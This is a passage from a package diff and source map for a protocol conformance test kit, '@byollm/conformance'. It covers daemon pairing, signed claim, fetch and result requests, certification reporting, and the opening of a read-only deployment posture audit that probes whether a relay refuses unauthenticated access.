substituted.\n */\n/**\n * A paid backend, and what the owner said about spending on it — byollm_007.\n *\n * The kit needs this because \"who pays\" is visible on the wire: a daemon\n * advertises the *effective* offer scope, so a metered backend nobody\n * consented to share shows up to the server as `self` and the server is\n * obliged to act on that.\n */\nexport interface MeteredOptions {\n /**\n * `openai` takes its cost from the registry; `openai-http` has it inferred\n * from {@link MeteredOptions.baseUrl}.\n */\n readonly provider?: \"openai\" | \"openai-http\";\n readonly baseUrl?: string;\n readonly acknowledged?: boolean;\n readonly dailyCapCents?: number;\n}\n\nexport async function pairDaemon(\n target: ConformanceTarget,\n options: {\n owner: string;\n label?: string;\n /**\n * **Required — no default.** A harness default is part of every test's\n * claim (ruled 2026-08-26), and this one decides whether the device's\n * admission check runs at all. The relay suite's equivalent defaulted to\n * `public` and silently disabled admission in every cross-user check it\n * had; this one defaulted to the safe direction and was still a value no\n * reader of a call site could see.\n */\n offer: \"private\" | \"team\";\n /** Use the subscription-class backend, to exercise the self-lock. */\n subscription?: boolean;\n /** Use a paid backend, to exercise the cost rules. */\n metered?: MeteredOptions;\n },\n): Promise<HarnessDaemon> {\n const home = await mkdtemp(join(tmpdir(), \"byollm-conformance-\"));\n const loaded = daemonConfig({\n offer: options.offer,\n subscription: options.subscription ?? false,\n ...(options.metered === undefined ? {} : { metered: options.metered }),\n });\n\n const budgets = new Budgets(\n join(home, \"budgets.json\"),\n loaded.config.community,\n );\n await budgets.load(Date.now());\n const spend = new SpendLedger(join(home, \"spend.json\"));\n await spend.load(Date.now());\n const ingress = new IngressLog({\n path: join(home, \"ingress.log\"),\n communityPromptDays: 7,\n keepSelfPrompts: true,\n });\n\n const backend = new EchoBackend();\n // `Request` accepts every shape `fetch` does, so the target sees a normal\n // request whether the kit is driving an in-process handler or a real server.\n const fetchImpl: typeof fetch = (input, init) =>\n target.fetch(new Request(input, init));\n\n const capabilities: Capability[] = loaded.routes.map((route) => ({\n kind: route.kind,\n service: route.service,\n backendId: route.backendId,\n backendClass: route.backendClass,\n model: route.model,\n offerScope: route.offerScope,\n }));\n\n const pairingClient = new ProtocolClient({\n origin: target.origin,\n fetch: fetchImpl,\n });\n\n let userCode = \"\";\n // The poll must be abortable and its rejection must always be handled: a\n // check that fails partway through would otherwise leave a pairing loop\n // running, and when the next check's `reset()` wipes the pairings table\n // that orphan turns into an unhandled rejection that kills the whole run\n // instead of failing one check.\n const pairingAbort = new AbortController();\n let pairingError: unknown;\n // A real DeviceIdentity per harness daemon, backed by its own temp home —\n // not a shared fixture. Each simulated daemon is a distinct machine, which\n // is what makes a multi-runner check (C019) mean anything.\n const deviceIdentity = new DeviceIdentity(join(home, \"keys.json\"));\n\n const pairing = connect({\n client: pairingClient,\n daemonVersion: \"conformance\",\n device: await deviceIdentity.publicIdentity(Date.now()),\n label: options.label ?? `daemon-${options.owner}`,\n capabilities,\n onCode: (info) => {\n userCode = info.userCode;\n },\n // A real macrotask, not `Promise.resolve()`: a zero-delay microtask loop\n // never yields to the event loop, so the approval below could never run\n // and the poll would spin until the process died.\n sleep: () => sleep(1),\n signal: pairingAbort.signal,\n }).catch((error: unknown) => {\n pairingError = error;\n return { ok: false as const, reason: \"aborted\" as const, message: \"\" };\n });\n\n try {\n // Approve as soon as the code exists, exactly as a user clicking would.\n await waitFor(() => userCode !== \"\", { what: \"a pairing code\" });\n await target.approvePairing(userCode, options.owner);\n } catch (error) {\n pairingAbort.abort();\n await pairing;\n await rm(home, { recursive: true, force: true });\n throw error;\n }\n\n const result = await pairing;\n if (!result.ok) {\n pairingAbort.abort();\n await rm(home, { recursive: true, force: true });\n throw new Error(\n `conformance harness could not pair: ${\n pairingError instanceof Error ? pairingError.message : result.message\n }`,\n );\n }\n\n const runner = new Runner({\n client: new ProtocolClient({\n origin: target.origin,\n // The harness signs exactly as a daemon does, so certification\n // exercises the real verification path.\n identity: {\n runnerId: result.pairing.runnerId,\n sign: (input) => deviceIdentity.signRequest(input),\n },\n fetch: fetchImpl,\n }),\n runnerId: result.pairing.runnerId,\n owner: result.pairing.owner,\n identity: {\n keys: () => deviceIdentity.load(Date.now()),\n // Pinned at pairing, exactly as a real daemon does — the set the\n // upstream answered with, keyed by each site's identity key id\n // (cloud_009 §5). A direct site is one entry.\n sites: new Map(Object.entries(result.pairing.sites)),\n },\n daemonVersion: \"conformance\",\n loaded,\n budgets,\n spend,\n ingress,\n backendFactory: () => backend,\n });\n\n return {\n runner,\n backend,\n runnerId: result.pairing.runnerId,\n owner: result.pairing.owner,\n keys: await deviceIdentity.load(Date.now()),\n identityKeys: () => deviceIdentity.load(Date.now()),\n sitePinned: Object.values(result.pairing.sites)[0] as PublicIdentity,\n home,\n ingress,\n spend,\n loaded,\n dispose: async () => {\n runner.cancelAll();\n // Wait for cancelled jobs to finish unwinding before removing the\n // directory: a job still writing its outcome to the ingress log would\n // otherwise fail on a path that no longer exists.\n await waitFor(() => runner.status().activeJobs === 0, {\n timeoutMs: 2_000,\n what: \"in-flight jobs to unwind\",\n }).catch(() => undefined);\n await removeHome(home);\n },\n abandon: async () => {\n await removeHome(home);\n },\n };\n}\n\n/**\n * The id this target uses for a person, given the friendly name the checks\n * use. Identity when the target does not translate.\n */\nexport async function ownerIdFor(\n target: ConformanceTarget,\n name: string,\n): Promise<string> {\n return target.ownerId ? target.ownerId(name) : name;\n}\n\n/** Poll a predicate until it holds or the deadline passes. */\nexport async function waitFor(\n predicate: () => boolean | Promise<boolean>,\n options: { timeoutMs?: number; intervalMs?: number; what?: string } = {},\n): Promise<void> {\n const timeoutMs = options.timeoutMs ?? 5_000;\n const intervalMs = options.intervalMs ?? 10;\n const deadline = Date.now() + timeoutMs;\n\n for (;;) {\n if (await predicate()) return;\n if (Date.now() >= deadline) {\n throw new Error(\n `timed out after ${String(timeoutMs)}ms waiting for ${options.what ?? \"a condition\"}`,\n );\n }\n await sleep(intervalMs);\n }\n}\n\nexport function sleep(ms: number): Promise<void> {\n return new Promise((resolve) => setTimeout(resolve, ms));\n}\n\n/**\n * Move the target's clock forward, faking it if the target can and genuinely\n * waiting if it cannot.\n */\n/**\n * Longest real sleep a check may ask of a target that cannot fake time.\n *\n * A target with no `advanceTime` waits for real, so a check written against\n * the reference server's fake clock can silently become a ten-minute hang\n * somewhere else — which is exactly what `C020_PAIR_CODE_EXPIRES` did on the\n * Supabase target, whose pairing TTL was still the ten-minute product\n * default. Failing fast with the number in the message turns \"CI is stuck\"\n * into \"configure a shorter TTL on this target\".\n */\nconst MAX_REAL_WAIT_MS = 30_000;\n\nexport async function advance(\n target: ConformanceTarget,\n ms: number,\n): Promise<void> {\n if (target.advanceTime) {\n await target.advanceTime(ms);\n } else {\n if (ms > MAX_REAL_WAIT_MS) {\n throw new Error(\n `this check needs to advance ${String(Math.round(ms / 1000))}s and ` +\n `\"${target.name}\" cannot fake time, so it would sleep for real. ` +\n `Configure a shorter TTL on the target, or give it advanceTime().`,\n );\n }\n await sleep(ms);\n }\n await target.sweep();\n}\n\n/**\n * Claim one job over the protocol wire, bypassing the runner.\n *\n * `runner.tick()` claims and *runs*, which is what most checks want. This is\n * for the ones that need to inspect the claim response itself — what the\n * server hands a daemon is a protocol surface in its own right, and the\n * daemon's own handling of it can mask what arrived.\n */\nexport async function claimOne(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n): Promise<ClaimedStub> {\n const capabilities = await daemon.runner.detectCapabilities();\n // Signed, not bearer. This helper predated signed requests and kept\n // sending a token: it 401'd the moment a check actually used it, which\n // C022 had not.\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n capabilities,\n max: 1,\n });\n const signature = signRequest(daemon.keys, {\n endpoint: \"claim\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n const response = await target.fetch(\n new Request(`${target.origin}/byollm/claim`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": signature.runnerId,\n \"x-byollm-issued-at\": String(signature.issuedAt),\n \"x-byollm-signature\": signature.signature,\n },\n body,\n }),\n );\n if (response.status !== 200) {\n throw new Error(`claim answered ${String(response.status)}`);\n }\n const parsed = (await response.json()) as { jobs: ClaimedStub[] };\n const job = parsed.jobs[0];\n if (!job) throw new Error(\"claim returned no jobs\");\n return job;\n}\n\n/**\n * Every stub a claim answered with — including none.\n *\n * `claimOne` throws on an empty answer, which is right for the checks that\n * need a job and useless for the one that needs to prove a job was **not**\n * offered. That check is the only thing in the kit that can see the server's\n * half of `AUDIENCE_BOTH_SIDES`: every other check drives a daemon, and a\n * daemon refuses locally, so \"the job did not run\" says nothing about which\n * side refused it.\n */\nexport async function claimRaw(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n /**\n * What this claim advertises, when the check needs to advertise less than\n * the daemon can do. Defaults to everything it detects.\n */\n capabilityOverride?: readonly Capability[],\n): Promise<ClaimedStub[]> {\n const capabilities =\n capabilityOverride ?? (await daemon.runner.detectCapabilities());\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n capabilities,\n max: 10,\n });\n const signature = signRequest(daemon.keys, {\n endpoint: \"claim\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n const response = await target.fetch(\n new Request(`${target.origin}/byollm/claim`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": signature.runnerId,\n \"x-byollm-issued-at\": String(signature.issuedAt),\n \"x-byollm-signature\": signature.signature,\n },\n body,\n }),\n );\n if (response.status !== 200) {\n throw new Error(`claim answered ${String(response.status)}`);\n }\n return ((await response.json()) as { jobs: ClaimedStub[] }).jobs;\n}\n\n/**\n * Release one named lease over the wire, signed, as a daemon would.\n *\n * Raw rather than through the runner, because the property under test is what\n * the *server* does with a request naming a particular grant — including a\n * request the daemon would never send twice.\n */\nexport async function releaseLease(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n jobId: string,\n leaseId: string,\n): Promise<Response> {\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n leases: [{ jobId, leaseId }],\n reason: \"backend-down\",\n });\n const signature = signRequest(daemon.keys, {\n endpoint: \"release\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n return target.fetch(\n new Request(`${target.origin}/byollm/release`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": signature.runnerId,\n \"x-byollm-issued-at\": String(signature.issuedAt),\n \"x-byollm-signature\": signature.signature,\n },\n body,\n }),\n );\n}\n\n/**\n * Collect a payload for a lease, signed. Returns `null` when refused.\n *\n * A refusal is a normal answer here, not an error: the check asks both\n * whether a held lease can fetch and whether an unheld one cannot.\n */\nexport async function fetchPayload(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n jobId: string,\n leaseId: string,\n): Promise<{ raw: unknown; opened: unknown } | null> {\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n jobId,\n leaseId,\n });\n const signature = signRequest(daemon.keys, {\n endpoint: \"fetch\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n const response = await target.fetch(\n new Request(`${target.origin}/byollm/fetch`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": signature.runnerId,\n \"x-byollm-issued-at\": String(signature.issuedAt),\n \"x-byollm-signature\": signature.signature,\n },\n body,\n }),\n );\n // `null` for a refusal — a normal answer here, not an error.\n if (response.status !== 200) return null;\n\n // Both halves are returned: the raw response, so a check can assert no\n // plaintext crossed the wire, and the opened work, so it can assert the\n // device it was sealed to can still read it.\n const raw = (await response.json()) as { envelope: SealedEnvelope };\n const keys = await daemon.identityKeys();\n const opened = await open({\n envelope: raw.envelope,\n recipientKeys: keys,\n senderIdentityPublic: daemon.sitePinned.identity,\n expected: {\n jobId,\n senderKeyId: keyId(daemon.sitePinned.identity),\n recipientKeyId: keyId(publicIdentityOf(keys).identity),\n direction: \"payload\",\n },\n });\n return {\n raw,\n opened: opened.ok ? (JSON.parse(opened.plaintext) as unknown) : null,\n };\n}\n\n/**\n * Report a result, sealed to the site — with the sealing key left open.\n *\n * `sealWith` defaults to the daemon's own keys, which is what a real daemon\n * does. A check passes something else to be the relay: the request is still\n * signed by the genuine device, so what the site is being asked to swallow is\n * an *outcome* nobody it trusts produced. Separating the two keys is the whole\n * point — an implementation that only checked the request signature would look\n * correct until this check ran.\n */\nexport async function postResult(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n input: {\n jobId: string;\n outcome: JobOutcome;\n sealWith?: StoredKeys;\n disposition?: \"ok\" | \"error\" | \"canceled\";\n /** The grant the work was done under — cloud_008 §1.4a. */\n leaseId: string;\n },\n): Promise<Response> {\n const keys = await daemon.identityKeys();\n const sealer = input.sealWith ?? keys;\n const envelope = await seal({\n // `{ outcome, ran }` — cloud_008 §2.5.\n plaintext: JSON.stringify({\n outcome: input.outcome,\n ran: { model: \"test-model\", backendClass: \"http\", durationMs: 1 },\n }),\n senderKeys: sealer,\n recipientEncryptionPublic: daemon.sitePinned.encryption,\n context: {\n jobId: input.jobId,\n // Always the *device's* key id, even when a relay sealed it: an\n // attacker naming itself would be refused for the wrong reason, and\n // this check exists to prove the signature is what refuses it.\n senderKeyId: keyId(publicIdentityOf(keys).identity),\n recipientKeyId: keyId(daemon.sitePinned.identity),\n deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS,\n direction: \"result\",\n },\n });\n\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n jobId: input.jobId,\n leaseId: input.leaseId,\n envelope,\n disposition: input.disposition ?? input.outcome.outcome,\n });\n const signature = signRequest(daemon.keys, {\n endpoint: \"result\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n return target.fetch(\n new Request(`${target.origin}/byollm/result`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": signature.runnerId,\n \"x-byollm-issued-at\": String(signature.issuedAt),\n \"x-byollm-signature\": signature.signature,\n },\n body,\n }),\n );\n}\n\n/**\n * Remove a harness home, tolerating a write that lands mid-removal.\n *\n * `rm -rf` walks a tree; a file created during the walk makes the parent\n * non-empty again and the whole call fails with ENOTEMPTY. The daemon writes\n * lazily — its key file appears the first time anything asks for its\n * identity — so a late call can land after the last job has finished, which\n * is what `dispose` waits for.\n *\n * Retried rather than serialised, because the alternative is the harness\n * knowing every path on which the daemon might touch disk, which it should\n * not have to.\n */\nasync function removeHome(home: string): Promise<void> {\n for (let attempt = 0; attempt < 3; attempt += 1) {\n try {\n await rm(home, { recursive: true, force: true });\n return;\n } catch {\n await sleep(20);\n }\n }\n // A leaked temp directory is not worth failing a conformance run over.\n await rm(home, { recursive: true, force: true }).catch(() => undefined);\n}\n\n/** Enqueue, claim and open one job — the happy path, end to end. */\nexport async function fetchGenuine(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n owner = \"alice\",\n): Promise<boolean> {\n const marker = \"genuine work\";\n await target.enqueue({\n kind: \"llm.generate\",\n payload: { prompt: marker },\n // The target's own name for the user, not the id it mapped that to —\n // passing a mapped id back in addresses a user the target never made.\n owner,\n audience: \"private\",\n });\n // Retried: an in-memory store makes a job claimable the instant enqueue\n // returns, and a real database does not. Claiming once passes everywhere\n // the kit is developed and fails where it is meant to certify.\n for (let attempt = 0; attempt < 20; attempt += 1) {\n try {\n const stub = await claimOne(target, daemon);\n const fetched = await fetchPayload(\n target,\n daemon,\n stub.id,\n stub.lease.id,\n );\n return JSON.stringify(fetched?.opened ?? {}).includes(marker);\n } catch {\n await sleep(50);\n }\n }\n return false;\n}\n","import {\n kindsOf,\n MUSTS,\n MUST_IDS,\n mustsVerifiedBy,\n type MustId,\n} from \"@byollm/protocol\";\nimport { CHECKS, type Check } from \"./checks.js\";\nimport type { ConformanceTarget } from \"./target.js\";\n\nexport interface CheckResult {\n readonly check: Check;\n readonly passed: boolean;\n readonly durationMs: number;\n readonly error?: string;\n}\n\nexport interface CertificationReport {\n readonly target: string;\n readonly passed: boolean;\n readonly results: readonly CheckResult[];\n /**\n * MUSTs no check asserts.\n *\n * byollm_001 requires every MUST carry a conformance test id. Reporting the\n * gap rather than hiding it is what keeps that requirement honest as the\n * protocol grows — a new MUST shows up here until someone writes its check.\n */\n readonly uncoveredMusts: readonly MustId[];\n}\n\n/**\n * Run the compatibility contract against a server.\n *\n * \"A server is byollm-compatible when the kit passes\" — this is the function\n * that decides it.\n */\nexport async function certify(\n target: ConformanceTarget,\n options: {\n only?: readonly string[];\n onProgress?: (result: CheckResult) => void;\n } = {},\n): Promise<CertificationReport> {\n const only = options.only;\n const selected = only\n ? CHECKS.filter((check) => only.includes(check.id))\n : CHECKS;\n\n const results: CheckResult[] = [];\n\n for (const check of selected) {\n await target.reset();\n const started = Date.now();\n try {\n await check.run(target);\n const result: CheckResult = {\n check,\n passed: true,\n durationMs: Date.now() - started,\n };\n results.push(result);\n options.onProgress?.(result);\n } catch (error) {\n const result: CheckResult = {\n check,\n passed: false,\n durationMs: Date.now() - started,\n error: error instanceof Error ? error.message : String(error),\n };\n results.push(result);\n options.onProgress?.(result);\n }\n }\n\n return {\n target: target.name,\n passed: results.every((result) => result.passed),\n results,\n uncoveredMusts: uncoveredMusts(selected),\n };\n}\n\n/**\n * `conformance`-kind MUSTs with no check asserting them.\n *\n * This counts only the MUSTs the kit is *able* to assert. It used to count\n * all of them, which made a permanent structural fact — the kit certifies a\n * server, and a third of the MUSTs are properties of a daemon — look like a\n * backlog of ten missing tests. A number that can never reach zero gets\n * ignored, and a number that is ignored is not a check.\n *\n * This one should be zero, and CI keeps it there.\n */\nexport function uncoveredMusts(checks: readonly Check[] = CHECKS): MustId[] {\n const covered = new Set(checks.flatMap((check) => check.musts));\n return mustsVerifiedBy(\"conformance\").filter((id) => !covered.has(id));\n}\n\n/**\n * MUSTs a check claims but which are not verifiable by conformance.\n *\n * The opposite error, and the one that would quietly overstate what a\n * certification means: a check asserting an `operator`-kind MUST would put\n * \"verified\" next to something no third party can check from outside.\n */\nexport function miscoveredMusts(checks: readonly Check[] = CHECKS): MustId[] {\n return [...new Set(checks.flatMap((check) => check.musts))]\n .filter((id) => !kindsOf(MUSTS[id]).includes(\"conformance\"))\n .sort();\n}\n\nconst VERIFICATION_NOTE =\n \"(`adversarial` = proved by the reference daemon's own suites; \" +\n \"`construction` = true by code shape; `operator` = a deployment claim, \" +\n \"verifiable only by audit or source. None is asserted by this run.)\";\n\n/** A human-readable report. */\nexport function formatReport(report: CertificationReport): string {\n const lines: string[] = [];\n lines.push(`byollm conformance — ${report.target}`);\n lines.push(\"\");\n\n for (const result of report.results) {\n lines.push(\n ` ${result.passed ? \"✓\" : \"✗\"} ${result.check.id} ${result.check.title}` +\n ` (${String(result.durationMs)}ms)`,\n );\n if (!result.passed && result.error !== undefined) {\n lines.push(` ${result.error}`);\n }\n }\n\n const failed = report.results.filter((result) => !result.passed).length;\n lines.push(\"\");\n lines.push(\n report.passed\n ? ` ${String(report.results.length)} checks passed — ${report.target} is byollm-compatible.`\n : ` ${String(failed)} of ${String(report.results.length)} checks failed — not compatible.`,\n );\n\n if (report.uncoveredMusts.length > 0) {\n lines.push(\"\");\n lines.push(\" MUSTs this kit can assert but does not yet:\");\n for (const id of report.uncoveredMusts) {\n lines.push(` - ${id}: ${MUSTS[id].statement}`);\n }\n }\n\n // Say what this run did *not* cover, and why — so \"it passes conformance\"\n // is never read as \"every MUST is satisfied\". A certification that hides\n // its own scope is worth less than one that states it.\n const elsewhere = MUST_IDS.filter(\n (id) => !kindsOf(MUSTS[id]).includes(\"conformance\"),\n );\n if (elsewhere.length > 0) {\n lines.push(\"\");\n lines.push(\" Verified elsewhere, not by this kit:\");\n for (const kind of [\"adversarial\", \"construction\", \"operator\"] as const) {\n const ids = elsewhere.filter((id) => kindsOf(MUSTS[id]).includes(kind));\n if (ids.length === 0) continue;\n lines.push(` ${kind}: ${ids.join(\", \")}`);\n }\n lines.push(` ${VERIFICATION_NOTE}`);\n }\n return `${lines.join(\"\\n\")}\\n`;\n}\n"],"mappings":";AAAA;AAAA,EACE;AAAA,EACA;AAAA,EACA;AAAA,EACA,uBAAAA;AAAA,EACA,SAAAC;AAAA,EACA,QAAAC;AAAA,EACA,QAAAC;AAAA,EACA,oBAAAC;AAAA,EACA;AAAA,EACA;AAAA,EACA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AS,aAAa;AAAA,EACpD;AACA,MAAI,UAAU,SAAS,GAAG;AACxB,UAAM,KAAK,EAAE;AACb,UAAM,KAAK,wCAAwC;AACnD,eAAW,QAAQ,CAAC,eAAe,gBAAgB,UAAU,GAAY;AACvE,YAAM,MAAM,UAAU,OAAO,CAAC,OAAO,QAAQ,MAAM,EAAE,CAAC,EAAE,SAAS,IAAI,CAAC;AACtE,UAAI,IAAI,WAAW,EAAG;AACtB,YAAM,KAAK,OAAO,IAAI,KAAK,IAAI,KAAK,IAAI,CAAC,EAAE;AAAA,IAC7C;AACA,UAAM,KAAK,OAAO,iBAAiB,EAAE;AAAA,EACvC;AACA,SAAO,GAAG,MAAM,KAAK,IAAI,CAAC;AAAA;AAC5B;","names":["ENVELOPE_MAX_AGE_MS","keyId","open","seal","PROTOCOL_VERSION","publicIdentityOf","signRequest","PROTOCOL_VERSION","publicIdentityOf","signRequest","seal","keyId","ENVELOPE_MAX_AGE_MS","open"]}
package/dist/cli.js CHANGED
@@ -2,8 +2,8 @@
2
2
  import {
3
3
  certify,
4
4
  formatReport
5
- } from "./chunk-MSM6QP2N.js";
6
- import "./chunk-2EJHYOQS.js";
5
+ } from "./chunk-OPJBI7WK.js";
6
+ import "./chunk-2JXKI5TH.js";
7
7
 
8
8
  // src/cli.ts
9
9
  var [targetPath] = process.argv.slice(2);
package/dist/index.d.ts CHANGED
@@ -177,6 +177,10 @@ declare function formatReport(report: CertificationReport): string;
177
177
  * every respect except the thing at the very end of the call.
178
178
  */
179
179
  declare class EchoBackend implements Backend {
180
+ readonly stopReasons: {
181
+ kind: "unavailable";
182
+ why: string;
183
+ };
180
184
  readonly id: "openai-http";
181
185
  readonly class: "http";
182
186
  /** Prompts this backend was asked to run, in order. */
@@ -351,6 +355,14 @@ interface PostureContext {
351
355
  }
352
356
  interface PostureOutcome {
353
357
  readonly passed: boolean;
358
+ /**
359
+ * Did this check actually put its question? Absent means yes.
360
+ *
361
+ * A posture that could not be measured does not pass — a gate that waves
362
+ * through what it could not look at passes hardest when it is blindest —
363
+ * and it is not a breach either. Unproven is a third state.
364
+ */
365
+ readonly measured?: boolean;
354
366
  /** What actually happened, in a sentence someone can act on. */
355
367
  readonly detail: string;
356
368
  }
package/dist/index.js CHANGED
@@ -10,12 +10,12 @@ import {
10
10
  sleep,
11
11
  uncoveredMusts,
12
12
  waitFor
13
- } from "./chunk-MSM6QP2N.js";
13
+ } from "./chunk-OPJBI7WK.js";
14
14
  import {
15
15
  POSTURE_CHECKS,
16
16
  auditDeployment,
17
17
  formatPostureReport
18
- } from "./chunk-2EJHYOQS.js";
18
+ } from "./chunk-2JXKI5TH.js";
19
19
  export {
20
20
  CHECKS,
21
21
  EchoBackend,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@byollm/conformance",
3
- "version": "0.1.0-alpha.85",
3
+ "version": "0.1.0-alpha.87",
4
4
  "description": "The BYOLLM compatibility contract — drive a real daemon against any server and assert every protocol MUST.",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -25,12 +25,12 @@
25
25
  "node": ">=22.14"
26
26
  },
27
27
  "dependencies": {
28
- "@byollm/protocol": "0.1.0-alpha.85",
29
- "byollm": "0.1.0-alpha.85"
28
+ "@byollm/protocol": "0.1.0-alpha.87",
29
+ "byollm": "0.1.0-alpha.87"
30
30
  },
31
31
  "devDependencies": {
32
32
  "@supabase/supabase-js": "^2.112.2",
33
- "@byollm/server": "0.1.0-alpha.85"
33
+ "@byollm/server": "0.1.0-alpha.87"
34
34
  },
35
35
  "publishConfig": {
36
36
  "access": "public"
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/deployment.ts"],"sourcesContent":["import { connect as tlsConnect } from \"node:tls\";\nimport { request as httpsRequest } from \"node:https\";\nimport {\n PROTOCOL_VERSION,\n generateKeys,\n signRequest,\n signSiteRequest,\n} from \"@byollm/protocol\";\n\n/**\n * The deployment posture audit — what an outsider can do to a running relay.\n *\n * ## Why this exists as a separate surface\n *\n * `certify` drives a real daemon against a {@link ConformanceTarget}, and a\n * target may be an in-process handler or an HTTP server: \"deliberately\n * transport-agnostic\", which is the right call for certifying a *protocol*.\n *\n * It is also a blind spot, and byollm_009's ninth finding lived in it. Eight\n * freeze-gate findings came from tests where the site reached the relay by\n * calling `handle()` on an object it held a reference to — and a harness that\n * invokes the system under test directly cannot see anything about how the\n * system is *reached*. The site plane had no authentication at all. Nothing\n * noticed, because nothing in the suite was ever a stranger.\n *\n * So this suite is a stranger. It holds no credential, no key the deployment\n * knows, and no reference to any object inside it. It has a URL, which is\n * exactly what an attacker has. Every check asks the question that form of\n * access makes available:\n *\n * - can I enqueue work into someone's machines?\n * - can I read who is online and what they are holding?\n * - can I make a signature that is *well-formed* and be believed?\n * - is anything served that should not be on the internet?\n * - can I reach a handler by dressing a path up to look like one?\n *\n * ## What this is not\n *\n * Not a penetration test, and not exhaustive — it cannot be, because the next\n * hole will be in whatever gets added next. It is the specific class that has\n * already bitten, turned into something that runs. That is the same move as\n * every other check in this kit: a finding becomes a check so its *shape*\n * cannot recur silently.\n *\n * It is also deliberately **safe to run against production**: nothing here\n * writes, nothing floods, and every request is one an ordinary scanner would\n * make. A posture audit you are nervous about running is one nobody runs.\n */\n\n/** One thing a stranger tried. */\nexport interface PostureCheck {\n /** Stable id, cited in output. */\n readonly id: string;\n /** What a person should understand from a failure. */\n readonly title: string;\n /** MUSTs this exercises, where one applies. Empty is honest, not a gap. */\n readonly cites: readonly string[];\n run(context: PostureContext): Promise<PostureOutcome>;\n}\n\nexport interface PostureContext {\n /** The origin, as an outsider would type it. */\n readonly origin: string;\n /** Where the daemon plane is mounted. */\n readonly basePath: string;\n /** Injectable, so a test can drive this without a network. */\n readonly fetch: typeof fetch;\n /**\n * The origin's own address, behind whatever edge fronts it — `D008`.\n *\n * Optional because most deployments have no separate origin, and a check\n * that guessed one would report a posture it never tested.\n */\n readonly originAddress?: string;\n}\n\nexport interface PostureOutcome {\n readonly passed: boolean;\n /** What actually happened, in a sentence someone can act on. */\n readonly detail: string;\n}\n\nexport interface PostureResult extends PostureOutcome {\n readonly id: string;\n readonly title: string;\n readonly cites: readonly string[];\n}\n\nexport interface PostureReport {\n readonly origin: string;\n readonly passed: boolean;\n readonly results: readonly PostureResult[];\n}\n\nconst STUB = {\n id: \"posture-probe\",\n kind: \"llm.generate\",\n owner: \"nobody\",\n audience: \"private\",\n sizeClass: \"small\",\n streaming: false,\n // Far enough out that a deployment cannot pass by calling it expired.\n deadlineAt: 4_102_444_800_000,\n};\n\n/** Refused, for any reason a server is entitled to refuse a stranger. */\nconst REFUSED = new Set([401, 403, 404]);\n\n/**\n * Refused **by a byollm relay**, rather than by nothing being there.\n *\n * The distinction is the whole difference between a posture audit and a\n * connectivity check, and this suite shipped without it for an hour. Running\n * against `hub.byollm.cloud` before its Ingress had a matching host rule, the\n * load balancer answered 404 to everything from its own error page — and the\n * audit reported 6/7, because 404 is a refusal and every probe got one.\n *\n * A completely dead deployment scored better than a working one. That is the\n * assertion-that-cannot-fail wearing its most convincing disguise: not a check\n * that never fails, but one that passes for a reason unrelated to the property\n * it claims.\n *\n * So a refusal has to be *byollm's* refusal: the protocol answers errors as\n * JSON with an `error` field, and Google's `backend NotFound` page does not.\n */\nasync function refusedByByollm(\n response: Response,\n): Promise<{ ok: boolean; why: string }> {\n if (!REFUSED.has(response.status)) {\n return { ok: false, why: `answered ${String(response.status)}` };\n }\n let body: unknown;\n try {\n body = await response.json();\n } catch {\n return {\n ok: false,\n why:\n `answered ${String(response.status)} but not as byollm — ` +\n `something else is serving this path`,\n };\n }\n const shaped =\n typeof body === \"object\" &&\n body !== null &&\n typeof (body as { error?: unknown }).error === \"string\";\n return shaped\n ? { ok: true, why: `answered ${String(response.status)}` }\n : {\n ok: false,\n why:\n `answered ${String(response.status)} with a body byollm would not ` +\n `send — something else is serving this path`,\n };\n}\n\nconst outcome = (passed: boolean, detail: string): PostureOutcome => ({\n passed,\n detail,\n});\n\n/**\n * The certificate the **origin** serves, read off the connection.\n *\n * Connects to the origin's own address with the pinned hostname in SNI, which\n * is what an edge does when it validates. Certificate verification is off for\n * `D008`'s reason: the question is what this address presents, not whether to\n * trust it.\n *\n * **It must be the origin, not the hostname.** Written first as a plain\n * connection to `hub.byollm.cloud`, which goes *through* Cloudflare and\n * returns Cloudflare's own edge certificate — one that names the host by\n * construction and auto-renews on a ninety-day cycle. `D009` passed on it\n * while the origin's certificate named nothing relevant, which is the exact\n * condition finding 45 describes; `D010` then failed with \"84 days\" and\n * revealed that both were measuring the edge.\n *\n * Two certificates, two purposes: the edge one protects visitors and\n * Cloudflare renews it, and the origin one is what the edge validates and\n * nobody renews automatically. Only the second is this audit's business.\n */\nasync function servedCertificate(\n address: string,\n host: string,\n): Promise<{ names: readonly string[]; validTo: string } | undefined> {\n return new Promise((resolve) => {\n const socket = tlsConnect(\n {\n host: address,\n servername: host,\n port: 443,\n timeout: 15_000,\n rejectUnauthorized: false,\n },\n () => {\n const peer = socket.getPeerCertificate();\n const alt = (peer.subjectaltname ?? \"\")\n .split(\",\")\n 